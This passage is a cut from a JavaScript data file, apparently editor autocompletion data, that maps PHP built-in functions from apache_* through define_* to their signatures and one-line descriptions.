walk_to_top])\",\"Get an Apache subprocess_env variable\"],apache_lookup_uri:[\"object apache_lookup_uri(string URI)\",\"Perform a partial request of the given URI to obtain information about it\"],apache_note:[\"string apache_note(string note_name [, string note_value])\",\"Get and set Apache request notes\"],apache_request_auth_name:[\"string apache_request_auth_name()\",\"\"],apache_request_auth_type:[\"string apache_request_auth_type()\",\"\"],apache_request_discard_request_body:[\"long apache_request_discard_request_body()\",\"\"],apache_request_err_headers_out:[\"array apache_request_err_headers_out([{string name|array list} [, string value [, bool replace = false]]])\",\"* fetch all headers that go out in case of an error or a subrequest\"],apache_request_headers:[\"array apache_request_headers(void)\",\"Fetch all HTTP request headers\"],apache_request_headers_in:[\"array apache_request_headers_in()\",\"* fetch all incoming request headers\"],apache_request_headers_out:[\"array apache_request_headers_out([{string name|array list} [, string value [, bool replace = false]]])\",\"* fetch all outgoing request headers\"],apache_request_is_initial_req:[\"bool apache_request_is_initial_req()\",\"\"],apache_request_log_error:[\"boolean apache_request_log_error(string message, [long facility])\",\"\"],apache_request_meets_conditions:[\"long apache_request_meets_conditions()\",\"\"],apache_request_remote_host:[\"int apache_request_remote_host([int type])\",\"\"],apache_request_run:[\"long apache_request_run()\",\"This is a wrapper for ap_sub_run_req and ap_destory_sub_req.  It takes      sub_request, runs it, destroys it, and returns it's status.\"],apache_request_satisfies:[\"long apache_request_satisfies()\",\"\"],apache_request_server_port:[\"int apache_request_server_port()\",\"\"],apache_request_set_etag:[\"void apache_request_set_etag()\",\"\"],apache_request_set_last_modified:[\"void apache_request_set_last_modified()\",\"\"],apache_request_some_auth_required:[\"bool apache_request_some_auth_required()\",\"\"],apache_request_sub_req_lookup_file:[\"object apache_request_sub_req_lookup_file(string file)\",\"Returns sub-request for the specified file.  You would     need to run it yourself with run().\"],apache_request_sub_req_lookup_uri:[\"object apache_request_sub_req_lookup_uri(string uri)\",\"Returns sub-request for the specified uri.  You would     need to run it yourself with run()\"],apache_request_sub_req_method_uri:[\"object apache_request_sub_req_method_uri(string method, string uri)\",\"Returns sub-request for the specified file.  You would     need to run it yourself with run().\"],apache_request_update_mtime:[\"long apache_request_update_mtime([int dependency_mtime])\",\"\"],apache_reset_timeout:[\"bool apache_reset_timeout(void)\",\"Reset the Apache write timer\"],apache_response_headers:[\"array apache_response_headers(void)\",\"Fetch all HTTP response headers\"],apache_setenv:[\"bool apache_setenv(string variable, string value [, bool walk_to_top])\",\"Set an Apache subprocess_env variable\"],array_change_key_case:[\"array array_change_key_case(array input [, int case=CASE_LOWER])\",\"Retuns an array with all string keys lowercased [or uppercased]\"],array_chunk:[\"array array_chunk(array input, int size [, bool preserve_keys])\",\"Split array into chunks\"],array_combine:[\"array array_combine(array keys, array values)\",\"Creates an array by using the elements of the first parameter as keys and the elements of the second as the corresponding values\"],array_count_values:[\"array array_count_values(array input)\",\"Return the value as key and the frequency of that value in input as value\"],array_diff:[\"array array_diff(array arr1, array arr2 [, array ...])\",\"Returns the entries of arr1 that have values which are not present in any of the others arguments.\"],array_diff_assoc:[\"array array_diff_assoc(array arr1, array arr2 [, array ...])\",\"Returns the entries of arr1 that have values which are not present in any of the others arguments but do additional checks whether the keys are equal\"],array_diff_key:[\"array array_diff_key(array arr1, array arr2 [, array ...])\",\"Returns the entries of arr1 that have keys which are not present in any of the others arguments. This function is like array_diff() but works on the keys instead of the values. The associativity is preserved.\"],array_diff_uassoc:[\"array array_diff_uassoc(array arr1, array arr2 [, array ...], callback data_comp_func)\",\"Returns the entries of arr1 that have values which are not present in any of the others arguments but do additional checks whether the keys are equal. Elements are compared by user supplied function.\"],array_diff_ukey:[\"array array_diff_ukey(array arr1, array arr2 [, array ...], callback key_comp_func)\",\"Returns the entries of arr1 that have keys which are not present in any of the others arguments. User supplied function is used for comparing the keys. This function is like array_udiff() but works on the keys instead of the values. The associativity is preserved.\"],array_fill:[\"array array_fill(int start_key, int num, mixed val)\",\"Create an array containing num elements starting with index start_key each initialized to val\"],array_fill_keys:[\"array array_fill_keys(array keys, mixed val)\",\"Create an array using the elements of the first parameter as keys each initialized to val\"],array_filter:[\"array array_filter(array input [, mixed callback])\",\"Filters elements from the array via the callback.\"],array_flip:[\"array array_flip(array input)\",\"Return array with key <-> value flipped\"],array_intersect:[\"array array_intersect(array arr1, array arr2 [, array ...])\",\"Returns the entries of arr1 that have values which are present in all the other arguments\"],array_intersect_assoc:[\"array array_intersect_assoc(array arr1, array arr2 [, array ...])\",\"Returns the entries of arr1 that have values which are present in all the other arguments. Keys are used to do more restrictive check\"],array_intersect_key:[\"array array_intersect_key(array arr1, array arr2 [, array ...])\",\"Returns the entries of arr1 that have keys which are present in all the other arguments. Kind of equivalent to array_diff(array_keys($arr1), array_keys($arr2)[,array_keys(...)]). Equivalent of array_intersect_assoc() but does not do compare of the data.\"],array_intersect_uassoc:[\"array array_intersect_uassoc(array arr1, array arr2 [, array ...], callback key_compare_func)\",\"Returns the entries of arr1 that have values which are present in all the other arguments. Keys are used to do more restrictive check and they are compared by using an user-supplied callback.\"],array_intersect_ukey:[\"array array_intersect_ukey(array arr1, array arr2 [, array ...], callback key_compare_func)\",\"Returns the entries of arr1 that have keys which are present in all the other arguments. Kind of equivalent to array_diff(array_keys($arr1), array_keys($arr2)[,array_keys(...)]). The comparison of the keys is performed by a user supplied function. Equivalent of array_intersect_uassoc() but does not do compare of the data.\"],array_key_exists:[\"bool array_key_exists(mixed key, array search)\",\"Checks if the given key or index exists in the array\"],array_keys:[\"array array_keys(array input [, mixed search_value[, bool strict]])\",\"Return just the keys from the input array, optionally only for the specified search_value\"],array_map:[\"array array_map(mixed callback, array input1 [, array input2 ,...])\",\"Applies the callback to the elements in given arrays.\"],array_merge:[\"array array_merge(array arr1, array arr2 [, array ...])\",\"Merges elements from passed arrays into one array\"],array_merge_recursive:[\"array array_merge_recursive(array arr1, array arr2 [, array ...])\",\"Recursively merges elements from passed arrays into one array\"],array_multisort:[\"bool array_multisort(array ar1 [, SORT_ASC|SORT_DESC [, SORT_REGULAR|SORT_NUMERIC|SORT_STRING]] [, array ar2 [, SORT_ASC|SORT_DESC [, SORT_REGULAR|SORT_NUMERIC|SORT_STRING]], ...])\",\"Sort multiple arrays at once similar to how ORDER BY clause works in SQL\"],array_pad:[\"array array_pad(array input, int pad_size, mixed pad_value)\",\"Returns a copy of input array padded with pad_value to size pad_size\"],array_pop:[\"mixed array_pop(array stack)\",\"Pops an element off the end of the array\"],array_product:[\"mixed array_product(array input)\",\"Returns the product of the array entries\"],array_push:[\"int array_push(array stack, mixed var [, mixed ...])\",\"Pushes elements onto the end of the array\"],array_rand:[\"mixed array_rand(array input [, int num_req])\",\"Return key/keys for random entry/entries in the array\"],array_reduce:[\"mixed array_reduce(array input, mixed callback [, mixed initial])\",\"Iteratively reduce the array to a single value via the callback.\"],array_replace:[\"array array_replace(array arr1, array arr2 [, array ...])\",\"Replaces elements from passed arrays into one array\"],array_replace_recursive:[\"array array_replace_recursive(array arr1, array arr2 [, array ...])\",\"Recursively replaces elements from passed arrays into one array\"],array_reverse:[\"array array_reverse(array input [, bool preserve keys])\",\"Return input as a new array with the order of the entries reversed\"],array_search:[\"mixed array_search(mixed needle, array haystack [, bool strict])\",\"Searches the array for a given value and returns the corresponding key if successful\"],array_shift:[\"mixed array_shift(array stack)\",\"Pops an element off the beginning of the array\"],array_slice:[\"array array_slice(array input, int offset [, int length [, bool preserve_keys]])\",\"Returns elements specified by offset and length\"],array_splice:[\"array array_splice(array input, int offset [, int length [, array replacement]])\",\"Removes the elements designated by offset and length and replace them with supplied array\"],array_sum:[\"mixed array_sum(array input)\",\"Returns the sum of the array entries\"],array_udiff:[\"array array_udiff(array arr1, array arr2 [, array ...], callback data_comp_func)\",\"Returns the entries of arr1 that have values which are not present in any of the others arguments. Elements are compared by user supplied function.\"],array_udiff_assoc:[\"array array_udiff_assoc(array arr1, array arr2 [, array ...], callback key_comp_func)\",\"Returns the entries of arr1 that have values which are not present in any of the others arguments but do additional checks whether the keys are equal. Keys are compared by user supplied function.\"],array_udiff_uassoc:[\"array array_udiff_uassoc(array arr1, array arr2 [, array ...], callback data_comp_func, callback key_comp_func)\",\"Returns the entries of arr1 that have values which are not present in any of the others arguments but do additional checks whether the keys are equal. Keys and elements are compared by user supplied functions.\"],array_uintersect:[\"array array_uintersect(array arr1, array arr2 [, array ...], callback data_compare_func)\",\"Returns the entries of arr1 that have values which are present in all the other arguments. Data is compared by using an user-supplied callback.\"],array_uintersect_assoc:[\"array array_uintersect_assoc(array arr1, array arr2 [, array ...], callback data_compare_func)\",\"Returns the entries of arr1 that have values which are present in all the other arguments. Keys are used to do more restrictive check. Data is compared by using an user-supplied callback.\"],array_uintersect_uassoc:[\"array array_uintersect_uassoc(array arr1, array arr2 [, array ...], callback data_compare_func, callback key_compare_func)\",\"Returns the entries of arr1 that have values which are present in all the other arguments. Keys are used to do more restrictive check. Both data and keys are compared by using user-supplied callbacks.\"],array_unique:[\"array array_unique(array input [, int sort_flags])\",\"Removes duplicate values from array\"],array_unshift:[\"int array_unshift(array stack, mixed var [, mixed ...])\",\"Pushes elements onto the beginning of the array\"],array_values:[\"array array_values(array input)\",\"Return just the values from the input array\"],array_walk:[\"bool array_walk(array input, string funcname [, mixed userdata])\",\"Apply a user function to every member of an array\"],array_walk_recursive:[\"bool array_walk_recursive(array input, string funcname [, mixed userdata])\",\"Apply a user function recursively to every member of an array\"],arsort:[\"bool arsort(array &array_arg [, int sort_flags])\",\"Sort an array in reverse order and maintain index association\"],asin:[\"float asin(float number)\",\"Returns the arc sine of the number in radians\"],asinh:[\"float asinh(float number)\",\"Returns the inverse hyperbolic sine of the number, i.e. the value whose hyperbolic sine is number\"],asort:[\"bool asort(array &array_arg [, int sort_flags])\",\"Sort an array and maintain index association\"],assert:[\"int assert(string|bool assertion)\",\"Checks if assertion is false\"],assert_options:[\"mixed assert_options(int what [, mixed value])\",\"Set/get the various assert flags\"],atan:[\"float atan(float number)\",\"Returns the arc tangent of the number in radians\"],atan2:[\"float atan2(float y, float x)\",\"Returns the arc tangent of y/x, with the resulting quadrant determined by the signs of y and x\"],atanh:[\"float atanh(float number)\",\"Returns the inverse hyperbolic tangent of the number, i.e. the value whose hyperbolic tangent is number\"],attachIterator:[\"void attachIterator(Iterator iterator[, mixed info])\",\"Attach a new iterator\"],base64_decode:[\"string base64_decode(string str[, bool strict])\",\"Decodes string using MIME base64 algorithm\"],base64_encode:[\"string base64_encode(string str)\",\"Encodes string using MIME base64 algorithm\"],base_convert:[\"string base_convert(string number, int frombase, int tobase)\",\"Converts a number in a string from any base <= 36 to any base <= 36\"],basename:[\"string basename(string path [, string suffix])\",\"Returns the filename component of the path\"],bcadd:[\"string bcadd(string left_operand, string right_operand [, int scale])\",\"Returns the sum of two arbitrary precision numbers\"],bccomp:[\"int bccomp(string left_operand, string right_operand [, int scale])\",\"Compares two arbitrary precision numbers\"],bcdiv:[\"string bcdiv(string left_operand, string right_operand [, int scale])\",\"Returns the quotient of two arbitrary precision numbers (division)\"],bcmod:[\"string bcmod(string left_operand, string right_operand)\",\"Returns the modulus of the two arbitrary precision operands\"],bcmul:[\"string bcmul(string left_operand, string right_operand [, int scale])\",\"Returns the multiplication of two arbitrary precision numbers\"],bcpow:[\"string bcpow(string x, string y [, int scale])\",\"Returns the value of an arbitrary precision number raised to the power of another\"],bcpowmod:[\"string bcpowmod(string x, string y, string mod [, int scale])\",\"Returns the value of an arbitrary precision number raised to the power of another reduced by a modulous\"],bcscale:[\"bool bcscale(int scale)\",\"Sets default scale parameter for all bc math functions\"],bcsqrt:[\"string bcsqrt(string operand [, int scale])\",\"Returns the square root of an arbitray precision number\"],bcsub:[\"string bcsub(string left_operand, string right_operand [, int scale])\",\"Returns the difference between two arbitrary precision numbers\"],bin2hex:[\"string bin2hex(string data)\",\"Converts the binary representation of data to hex\"],bind_textdomain_codeset:[\"string bind_textdomain_codeset (string domain, string codeset)\",\"Specify the character encoding in which the messages from the DOMAIN message catalog will be returned.\"],bindec:[\"int bindec(string binary_number)\",\"Returns the decimal equivalent of the binary number\"],bindtextdomain:[\"string bindtextdomain(string domain_name, string dir)\",\"Bind to the text domain domain_name, looking for translations in dir. Returns the current domain\"],birdstep_autocommit:[\"bool birdstep_autocommit(int index)\",\"\"],birdstep_close:[\"bool birdstep_close(int id)\",\"\"],birdstep_commit:[\"bool birdstep_commit(int index)\",\"\"],birdstep_connect:[\"int birdstep_connect(string server, string user, string pass)\",\"\"],birdstep_exec:[\"int birdstep_exec(int index, string exec_str)\",\"\"],birdstep_fetch:[\"bool birdstep_fetch(int index)\",\"\"],birdstep_fieldname:[\"string birdstep_fieldname(int index, int col)\",\"\"],birdstep_fieldnum:[\"int birdstep_fieldnum(int index)\",\"\"],birdstep_freeresult:[\"bool birdstep_freeresult(int index)\",\"\"],birdstep_off_autocommit:[\"bool birdstep_off_autocommit(int index)\",\"\"],birdstep_result:[\"mixed birdstep_result(int index, mixed col)\",\"\"],birdstep_rollback:[\"bool birdstep_rollback(int index)\",\"\"],bzcompress:[\"string bzcompress(string source [, int blocksize100k [, int workfactor]])\",\"Compresses a string into BZip2 encoded data\"],bzdecompress:[\"string bzdecompress(string source [, int small])\",\"Decompresses BZip2 compressed data\"],bzerrno:[\"int bzerrno(resource bz)\",\"Returns the error number\"],bzerror:[\"array bzerror(resource bz)\",\"Returns the error number and error string in an associative array\"],bzerrstr:[\"string bzerrstr(resource bz)\",\"Returns the error string\"],bzopen:[\"resource bzopen(string|int file|fp, string mode)\",\"Opens a new BZip2 stream\"],bzread:[\"string bzread(resource bz[, int length])\",\"Reads up to length bytes from a BZip2 stream, or 1024 bytes if length is not specified\"],cal_days_in_month:[\"int cal_days_in_month(int calendar, int month, int year)\",\"Returns the number of days in a month for a given year and calendar\"],cal_from_jd:[\"array cal_from_jd(int jd, int calendar)\",\"Converts from Julian Day Count to a supported calendar and return extended information\"],cal_info:[\"array cal_info([int calendar])\",\"Returns information about a particular calendar\"],cal_to_jd:[\"int cal_to_jd(int calendar, int month, int day, int year)\",\"Converts from a supported calendar to Julian Day Count\"],call_user_func:[\"mixed call_user_func(mixed function_name [, mixed parmeter] [, mixed ...])\",\"Call a user function which is the first parameter\"],call_user_func_array:[\"mixed call_user_func_array(string function_name, array parameters)\",\"Call a user function which is the first parameter with the arguments contained in array\"],call_user_method:[\"mixed call_user_method(string method_name, mixed object [, mixed parameter] [, mixed ...])\",\"Call a user method on a specific object or class\"],call_user_method_array:[\"mixed call_user_method_array(string method_name, mixed object, array params)\",\"Call a user method on a specific object or class using a parameter array\"],ceil:[\"float ceil(float number)\",\"Returns the next highest integer value of the number\"],chdir:[\"bool chdir(string directory)\",\"Change the current directory\"],checkdate:[\"bool checkdate(int month, int day, int year)\",\"Returns true(1) if it is a valid date in gregorian calendar\"],chgrp:[\"bool chgrp(string filename, mixed group)\",\"Change file group\"],chmod:[\"bool chmod(string filename, int mode)\",\"Change file mode\"],chown:[\"bool chown (string filename, mixed user)\",\"Change file owner\"],chr:[\"string chr(int ascii)\",\"Converts ASCII code to a character\"],chroot:[\"bool chroot(string directory)\",\"Change root directory\"],chunk_split:[\"string chunk_split(string str [, int chunklen [, string ending]])\",\"Returns split line\"],class_alias:[\"bool class_alias(string user_class_name , string alias_name [, bool autoload])\",\"Creates an alias for user defined class\"],class_exists:[\"bool class_exists(string classname [, bool autoload])\",\"Checks if the class exists\"],class_implements:[\"array class_implements(mixed what [, bool autoload ])\",\"Return all classes and interfaces implemented by SPL\"],class_parents:[\"array class_parents(object instance [, boolean autoload = true])\",\"Return an array containing the names of all parent classes\"],clearstatcache:[\"void clearstatcache([bool clear_realpath_cache[, string filename]])\",\"Clear file stat cache\"],closedir:[\"void closedir([resource dir_handle])\",\"Close directory connection identified by the dir_handle\"],closelog:[\"bool closelog(void)\",\"Close connection to system logger\"],collator_asort:[\"bool collator_asort( Collator $coll, array(string) $arr )\",\"* Sort array using specified collator, maintaining index association.\"],collator_compare:[\"int collator_compare( Collator $coll, string $str1, string $str2 )\",\"* Compare two strings.\"],collator_create:[\"Collator collator_create( string $locale )\",\"* Create collator.\"],collator_get_attribute:[\"int collator_get_attribute( Collator $coll, int $attr )\",\"* Get collation attribute value.\"],collator_get_error_code:[\"int collator_get_error_code( Collator $coll )\",\"* Get collator's last error code.\"],collator_get_error_message:[\"string collator_get_error_message( Collator $coll )\",\"* Get text description for collator's last error code.\"],collator_get_locale:[\"string collator_get_locale( Collator $coll, int $type )\",\"* Gets the locale name of the collator.\"],collator_get_sort_key:[\"bool collator_get_sort_key( Collator $coll, string $str )\",\"* Get a sort key for a string from a Collator. }}}\"],collator_get_strength:[\"int collator_get_strength(Collator coll)\",\"* Returns the current collation strength.\"],collator_set_attribute:[\"bool collator_set_attribute( Collator $coll, int $attr, int $val )\",\"* Set collation attribute.\"],collator_set_strength:[\"bool collator_set_strength(Collator coll, int strength)\",\"* Set the collation strength.\"],collator_sort:[\"bool collator_sort(  Collator $coll, array(string) $arr [, int $sort_flags] )\",\"* Sort array using specified collator.\"],collator_sort_with_sort_keys:[\"bool collator_sort_with_sort_keys( Collator $coll, array(string) $arr )\",\"* Equivalent to standard PHP sort using Collator.  * Uses ICU ucol_getSortKey for performance.\"],com_create_guid:[\"string com_create_guid()\",\"Generate a globally unique identifier (GUID)\"],com_event_sink:[\"bool com_event_sink(object comobject, object sinkobject [, mixed sinkinterface])\",\"Connect events from a COM object to a PHP object\"],com_get_active_object:[\"object com_get_active_object(string progid [, int code_page ])\",\"Returns a handle to an already running instance of a COM object\"],com_load_typelib:[\"bool com_load_typelib(string typelib_name [, int case_insensitive])\",\"Loads a Typelibrary and registers its constants\"],com_message_pump:[\"bool com_message_pump([int timeoutms])\",\"Process COM messages, sleeping for up to timeoutms milliseconds\"],com_print_typeinfo:[\"bool com_print_typeinfo(object comobject | string typelib, string dispinterface, bool wantsink)\",\"Print out a PHP class definition for a dispatchable interface\"],compact:[\"array compact(mixed var_names [, mixed ...])\",\"Creates a hash containing variables and their values\"],compose_locale:[\"static string compose_locale($array)\",\"* Creates a locale by combining the parts of locale-ID passed  * }}}\"],confirm_extname_compiled:[\"string confirm_extname_compiled(string arg)\",\"Return a string to confirm that the module is compiled in\"],connection_aborted:[\"int connection_aborted(void)\",\"Returns true if client disconnected\"],connection_status:[\"int connection_status(void)\",\"Returns the connection status bitfield\"],constant:[\"mixed constant(string const_name)\",\"Given the name of a constant this function will return the constant's associated value\"],convert_cyr_string:[\"string convert_cyr_string(string str, string from, string to)\",\"Convert from one Cyrillic character set to another\"],convert_uudecode:[\"string convert_uudecode(string data)\",\"decode a uuencoded string\"],convert_uuencode:[\"string convert_uuencode(string data)\",\"uuencode a string\"],copy:[\"bool copy(string source_file, string destination_file [, resource context])\",\"Copy a file\"],cos:[\"float cos(float number)\",\"Returns the cosine of the number in radians\"],cosh:[\"float cosh(float number)\",\"Returns the hyperbolic cosine of the number, defined as (exp(number) + exp(-number))/2\"],count:[\"int count(mixed var [, int mode])\",\"Count the number of elements in a variable (usually an array)\"],count_chars:[\"mixed count_chars(string input [, int mode])\",\"Returns info about what characters are used in input\"],crc32:[\"string crc32(string str)\",\"Calculate the crc32 polynomial of a string\"],create_function:[\"string create_function(string args, string code)\",\"Creates an anonymous function, and returns its name (funny, eh?)\"],crypt:[\"string crypt(string str [, string salt])\",\"Hash a string\"],ctype_alnum:[\"bool ctype_alnum(mixed c)\",\"Checks for alphanumeric character(s)\"],ctype_alpha:[\"bool ctype_alpha(mixed c)\",\"Checks for alphabetic character(s)\"],ctype_cntrl:[\"bool ctype_cntrl(mixed c)\",\"Checks for control character(s)\"],ctype_digit:[\"bool ctype_digit(mixed c)\",\"Checks for numeric character(s)\"],ctype_graph:[\"bool ctype_graph(mixed c)\",\"Checks for any printable character(s) except space\"],ctype_lower:[\"bool ctype_lower(mixed c)\",\"Checks for lowercase character(s)\"],ctype_print:[\"bool ctype_print(mixed c)\",\"Checks for printable character(s)\"],ctype_punct:[\"bool ctype_punct(mixed c)\",\"Checks for any printable character which is not whitespace or an alphanumeric character\"],ctype_space:[\"bool ctype_space(mixed c)\",\"Checks for whitespace character(s)\"],ctype_upper:[\"bool ctype_upper(mixed c)\",\"Checks for uppercase character(s)\"],ctype_xdigit:[\"bool ctype_xdigit(mixed c)\",\"Checks for character(s) representing a hexadecimal digit\"],curl_close:[\"void curl_close(resource ch)\",\"Close a cURL session\"],curl_copy_handle:[\"resource curl_copy_handle(resource ch)\",\"Copy a cURL handle along with all of it's preferences\"],curl_errno:[\"int curl_errno(resource ch)\",\"Return an integer containing the last error number\"],curl_error:[\"string curl_error(resource ch)\",\"Return a string contain the last error for the current session\"],curl_exec:[\"bool curl_exec(resource ch)\",\"Perform a cURL session\"],curl_getinfo:[\"mixed curl_getinfo(resource ch [, int option])\",\"Get information regarding a specific transfer\"],curl_init:[\"resource curl_init([string url])\",\"Initialize a cURL session\"],curl_multi_add_handle:[\"int curl_multi_add_handle(resource mh, resource ch)\",\"Add a normal cURL handle to a cURL multi handle\"],curl_multi_close:[\"void curl_multi_close(resource mh)\",\"Close a set of cURL handles\"],curl_multi_exec:[\"int curl_multi_exec(resource mh, int &still_running)\",\"Run the sub-connections of the current cURL handle\"],curl_multi_getcontent:[\"string curl_multi_getcontent(resource ch)\",\"Return the content of a cURL handle if CURLOPT_RETURNTRANSFER is set\"],curl_multi_info_read:[\"array curl_multi_info_read(resource mh [, long msgs_in_queue])\",\"Get information about the current transfers\"],curl_multi_init:[\"resource curl_multi_init(void)\",\"Returns a new cURL multi handle\"],curl_multi_remove_handle:[\"int curl_multi_remove_handle(resource mh, resource ch)\",\"Remove a multi handle from a set of cURL handles\"],curl_multi_select:[\"int curl_multi_select(resource mh[, double timeout])\",'Get all the sockets associated with the cURL extension, which can then be \"selected\"'],curl_setopt:[\"bool curl_setopt(resource ch, int option, mixed value)\",\"Set an option for a cURL transfer\"],curl_setopt_array:[\"bool curl_setopt_array(resource ch, array options)\",\"Set an array of option for a cURL transfer\"],curl_version:[\"array curl_version([int version])\",\"Return cURL version information.\"],current:[\"mixed current(array array_arg)\",\"Return the element currently pointed to by the internal array pointer\"],date:[\"string date(string format [, long timestamp])\",\"Format a local date/time\"],date_add:[\"DateTime date_add(DateTime object, DateInterval interval)\",\"Adds an interval to the current date in object.\"],date_create:[\"DateTime date_create([string time[, DateTimeZone object]])\",\"Returns new DateTime object\"],date_create_from_format:[\"DateTime date_create_from_format(string format, string time[, DateTimeZone object])\",\"Returns new DateTime object formatted according to the specified format\"],date_date_set:[\"DateTime date_date_set(DateTime object, long year, long month, long day)\",\"Sets the date.\"],date_default_timezone_get:[\"string date_default_timezone_get()\",\"Gets the default timezone used by all date/time functions in a script\"],date_default_timezone_set:[\"bool date_default_timezone_set(string timezone_identifier)\",\"Sets the default timezone used by all date/time functions in a script\"],date_diff:[\"DateInterval date_diff(DateTime object [, bool absolute])\",\"Returns the difference between two DateTime objects.\"],date_format:[\"string date_format(DateTime object, string format)\",\"Returns date formatted according to given format\"],date_get_last_errors:[\"array date_get_last_errors()\",\"Returns the warnings and errors found while parsing a date/time string.\"],date_interval_create_from_date_string:[\"DateInterval date_interval_create_from_date_string(string time)\",\"Uses the normal date parsers and sets up a DateInterval from the relative parts of the parsed string\"],date_interval_format:[\"string date_interval_format(DateInterval object, string format)\",\"Formats the interval.\"],date_isodate_set:[\"DateTime date_isodate_set(DateTime object, long year, long week[, long day])\",\"Sets the ISO date.\"],date_modify:[\"DateTime date_modify(DateTime object, string modify)\",\"Alters the timestamp.\"],date_offset_get:[\"long date_offset_get(DateTime object)\",\"Returns the DST offset.\"],date_parse:[\"array date_parse(string date)\",\"Returns associative array with detailed info about given date\"],date_parse_from_format:[\"array date_parse_from_format(string format, string date)\",\"Returns associative array with detailed info about given date\"],date_sub:[\"DateTime date_sub(DateTime object, DateInterval interval)\",\"Subtracts an interval to the current date in object.\"],date_sun_info:[\"array date_sun_info(long time, float latitude, float longitude)\",\"Returns an array with information about sun set/rise and twilight begin/end\"],date_sunrise:[\"mixed date_sunrise(mixed time [, int format [, float latitude [, float longitude [, float zenith [, float gmt_offset]]]]])\",\"Returns time of sunrise for a given day and location\"],date_sunset:[\"mixed date_sunset(mixed time [, int format [, float latitude [, float longitude [, float zenith [, float gmt_offset]]]]])\",\"Returns time of sunset for a given day and location\"],date_time_set:[\"DateTime date_time_set(DateTime object, long hour, long minute[, long second])\",\"Sets the time.\"],date_timestamp_get:[\"long date_timestamp_get(DateTime object)\",\"Gets the Unix timestamp.\"],date_timestamp_set:[\"DateTime date_timestamp_set(DateTime object, long unixTimestamp)\",\"Sets the date and time based on an Unix timestamp.\"],date_timezone_get:[\"DateTimeZone date_timezone_get(DateTime object)\",\"Return new DateTimeZone object relative to give DateTime\"],date_timezone_set:[\"DateTime date_timezone_set(DateTime object, DateTimeZone object)\",\"Sets the timezone for the DateTime object.\"],datefmt_create:[\"IntlDateFormatter datefmt_create(string $locale, long date_type, long time_type[, string $timezone_str, long $calendar, string $pattern] )\",\"* Create formatter.\"],datefmt_format:[\"string datefmt_format( [mixed]int $args or array $args )\",\"* Format the time value as a string. }}}\"],datefmt_get_calendar:[\"string datefmt_get_calendar( IntlDateFormatter $mf )\",\"* Get formatter calendar.\"],datefmt_get_datetype:[\"string datefmt_get_datetype( IntlDateFormatter $mf )\",\"* Get formatter datetype.\"],datefmt_get_error_code:[\"int datefmt_get_error_code( IntlDateFormatter $nf )\",\"* Get formatter's last error code.\"],datefmt_get_error_message:[\"string datefmt_get_error_message( IntlDateFormatter $coll )\",\"* Get text description for formatter's last error code.\"],datefmt_get_locale:[\"string datefmt_get_locale(IntlDateFormatter $mf)\",\"* Get formatter locale.\"],datefmt_get_pattern:[\"string datefmt_get_pattern( IntlDateFormatter $mf )\",\"* Get formatter pattern.\"],datefmt_get_timetype:[\"string datefmt_get_timetype( IntlDateFormatter $mf )\",\"* Get formatter timetype.\"],datefmt_get_timezone_id:[\"string datefmt_get_timezone_id( IntlDateFormatter $mf )\",\"* Get formatter timezone_id.\"],datefmt_isLenient:[\"string datefmt_isLenient(IntlDateFormatter $mf)\",\"* Get formatter locale.\"],datefmt_localtime:[\"integer datefmt_localtime( IntlDateFormatter $fmt, string $text_to_parse[, int $parse_pos ])\",\"* Parse the string $value to a localtime array  }}}\"],datefmt_parse:[\"integer datefmt_parse( IntlDateFormatter $fmt, string $text_to_parse [, int $parse_pos] )\",\"* Parse the string $value starting at parse_pos to a Unix timestamp -int }}}\"],datefmt_setLenient:[\"string datefmt_setLenient(IntlDateFormatter $mf)\",\"* Set formatter lenient.\"],datefmt_set_calendar:[\"bool datefmt_set_calendar( IntlDateFormatter $mf, int $calendar )\",\"* Set formatter calendar.\"],datefmt_set_pattern:[\"bool datefmt_set_pattern( IntlDateFormatter $mf, string $pattern )\",\"* Set formatter pattern.\"],datefmt_set_timezone_id:[\"boolean datefmt_set_timezone_id( IntlDateFormatter $mf,$timezone_id)\",\"* Set formatter timezone_id.\"],dba_close:[\"void dba_close(resource handle)\",\"Closes database\"],dba_delete:[\"bool dba_delete(string key, resource handle)\",\"Deletes the entry associated with key    If inifile: remove all other key lines\"],dba_exists:[\"bool dba_exists(string key, resource handle)\",\"Checks, if the specified key exists\"],dba_fetch:[\"string dba_fetch(string key, [int skip ,] resource handle)\",\"Fetches the data associated with key\"],dba_firstkey:[\"string dba_firstkey(resource handle)\",\"Resets the internal key pointer and returns the first key\"],dba_handlers:[\"array dba_handlers([bool full_info])\",\"List configured database handlers\"],dba_insert:[\"bool dba_insert(string key, string value, resource handle)\",\"If not inifile: Insert value as key, return false, if key exists already     If inifile: Add vakue as key (next instance of key)\"],dba_key_split:[\"array|false dba_key_split(string key)\",\"Splits an inifile key into an array of the form array(0=>group,1=>value_name) but returns false if input is false or null\"],dba_list:[\"array dba_list()\",\"List opened databases\"],dba_nextkey:[\"string dba_nextkey(resource handle)\",\"Returns the next key\"],dba_open:[\"resource dba_open(string path, string mode [, string handlername, string ...])\",\"Opens path using the specified handler in mode\"],dba_optimize:[\"bool dba_optimize(resource handle)\",\"Optimizes (e.g. clean up, vacuum) database\"],dba_popen:[\"resource dba_popen(string path, string mode [, string handlername, string ...])\",\"Opens path using the specified handler in mode persistently\"],dba_replace:[\"bool dba_replace(string key, string value, resource handle)\",\"Inserts value as key, replaces key, if key exists already    If inifile: remove all other key lines\"],dba_sync:[\"bool dba_sync(resource handle)\",\"Synchronizes database\"],dcgettext:[\"string dcgettext(string domain_name, string msgid, long category)\",\"Return the translation of msgid for domain_name and category, or msgid unaltered if a translation does not exist\"],dcngettext:[\"string dcngettext (string domain, string msgid1, string msgid2, int n, int category)\",\"Plural version of dcgettext()\"],debug_backtrace:[\"array debug_backtrace([bool provide_object])\",\"Return backtrace as array\"],debug_print_backtrace:[\"void debug_print_backtrace(void) */\",\"ZEND_FUNCTION(debug_print_backtrace) {  zend_execute_data *ptr, *skip;  int lineno;  char *function_name;  char *filename;  char *class_name = NULL;  char *call_type;  char *include_filename = NULL;  zval *arg_array = NULL;  int indent = 0;   if (zend_parse_parameters_none() == FAILURE) {   return;  }   ptr = EG(current_execute_data);   /* skip debug_backtrace()\"],debug_zval_dump:[\"void debug_zval_dump(mixed var)\",\"Dumps a string representation of an internal zend value to output.\"],decbin:[\"string decbin(int decimal_number)\",\"Returns a string containing a binary representation of the number\"],dechex:[\"string dechex(int decimal_number)\",\"Returns a string containing a hexadecimal representation of the given number\"],decoct:[\"string decoct(int decimal_number)\",\"Returns a string containing an octal representation of the given number\"],define:[\"bool define(string constant_name, mixed value, boolean case_insensitive=false)\",\"Define a new constant\"],define_syslog_variables:[\"void define_syslog_variables(void)\",\"Initializes all 